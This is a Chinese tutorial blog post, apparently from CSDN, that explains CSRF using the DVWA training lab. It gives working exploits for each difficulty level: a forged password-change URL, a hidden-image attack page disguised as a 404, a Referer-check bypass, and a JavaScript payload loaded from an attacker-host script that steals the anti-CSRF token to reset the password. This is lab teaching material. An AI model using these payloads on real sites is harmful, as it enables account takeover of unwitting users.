DVWA通过教程之跨站请求伪造CSRF

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
更多原理请参考:浅谈“跨站请求伪造(CSRF)”-干货满满

测试CSRF,要求能够不通过该页面即可修改用户登录密码。

Low

服务器端核心代码

分析:

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现。

漏洞利用

1、构造链接

A) 最基础的:

http://192.168.33.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害者点击了这个链接,他的密码就会被改成password

上面过于明显,所以我们可以:

构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示,就在本地写一个test.html,下面是具体代码。

<html>
	<body>
		<img src="http://192.168.33.1/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>
	</body>
</html>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack

Medium

服务器端核心代码

分析:

相关函数说明

PHP stripos() 函数

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

注释:stripos() 函数是不区分大小写的。

注释:该函数是二进制安全的。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.33.1),希望通过这种机制抵御CSRF攻击。

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.33.1)

我们可以将攻击页面命名为192.168.33.1.html(页面被放置在攻击者的服务器里,服务器ip:192.168.33.3)就可以绕过了,简单来说我们可以自己添加Referer字段,然后值只要设置成包含了主机头192.168.33.1就行了,这样就满足了条件。.

Referer参数完美绕过过滤规则

High

服务器端核心代码

分析:

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

漏洞利用:

构造更改密码的攻击js,引诱受害者访问,从而更改

利用xss和csrf结合,js代码内容如下,更改密码为liu

    alert(document.cookie);
    var theUrl = 'http://192.168.33.1/DVWA/vulnerabilities/csrf/';
        if(window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        }else{
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
    var count = 0;
        xmlhttp.withCredentials = true;
        xmlhttp.onreadystatechange=function(){
            if(xmlhttp.readyState ==4 && xmlhttp.status==200)
            {
                var text = xmlhttp.responseText;
                var regex = /user_token\' value\=\'(.*?)\' \/\>/;
                var match = text.match(regex);
                console.log(match);
                alert(match[1]);
                    var token = match[1];
                        var new_url = 'http://192.168.33.1/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=liu&password_conf=liu&Change=Change';
                        if(count==0){
                            count++;
                            xmlhttp.open("GET",new_url,false);
                            xmlhttp.send();
                        }
     
     
            }
        };
        xmlhttp.open("GET",theUrl,false);
        xmlhttp.send();

js放在攻击者的服务器中,受害者访问链接 192.168.33.1为靶机的IP地址,192.168.33.3为攻击者的IP地址

http://192.168.33.1/DVWA/vulnerabilities/xss_d/?default=English #<script src="http://192.168.33.3/xss.js"></script>

页面跳转到XSS页面,

获得服务器的cookie

获得的cookie

  

  弹出后,密码更改成功,退出登录用更改的密码登录,成功

Impossible

服务端核心源代码:

分析:

可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值